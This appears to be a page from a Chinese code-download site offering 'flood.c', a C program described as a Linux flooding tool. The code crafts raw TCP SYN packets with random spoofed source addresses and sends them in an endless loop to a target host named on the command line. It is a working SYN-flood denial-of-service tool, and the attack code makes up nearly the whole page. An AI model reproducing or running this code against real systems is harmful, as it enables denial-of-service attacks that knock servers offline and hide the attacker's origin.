⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 flood.c

📁 实现一个linux下的flooding程序
💻 C
字号:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netdb.h>
#include <arpa/inet.h>
#define SERVERPORT 6666
#define CLIENTPORT 8888
int sockfd;

int main(int argc, char **argv) 
{
	struct sockaddr_in addr;
	if(argc != 2)
	{
		printf("input your ip address!!");
	}
	sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
	if(sockfd == -1) 
       {
                perror("socket()");
                return -1;
       }
	int on = 1;
 if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0)
 {
 		fprintf(stderr, "setsockopt IP_HDRINCL ERROR! \n");
		exit(1);
  }
	struct hostent *host;
	memset(&addr, 0, sizeof(addr));
	addr.sin_family = AF_INET;
	addr.sin_port = htons(SERVERPORT);
	inet_pton(AF_INET, argv[1], &addr.sin_addr);
	host = gethostbyname(argv[1]);
	addr.sin_addr = *(struct in_addr *)(host->h_addr_list[0]);

	char sendbuf[2048];
	struct ip *myip;
	myip = (struct ip*)sendbuf;

	int head_len = sizeof(struct ip)+sizeof(struct tcphdr);
	myip->ip_v = 4;
	myip->ip_hl = sizeof(struct ip)>>2;
	myip->ip_tos = 0;
	myip->ip_len = htons(head_len);
	myip->ip_off = 0;
	myip->ip_p = IPPROTO_TCP;
	myip->ip_sum = 0;
	myip->ip_dst = addr.sin_addr;

	struct tcphdr *mytcp = (struct tcphdr*)(sendbuf+sizeof(struct ip));
	mytcp->source = htons(CLIENTPORT);
	mytcp->dest = htons(SERVERPORT);
	mytcp->doff = 5;
	mytcp->syn = 1;
	mytcp->check = 0;
	while(1)
	{
		myip->ip_src.s_addr=random();
		
		sendto(sockfd, sendbuf, 2048, 0, (struct sockaddr*)&addr, sizeof(addr));
	}
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -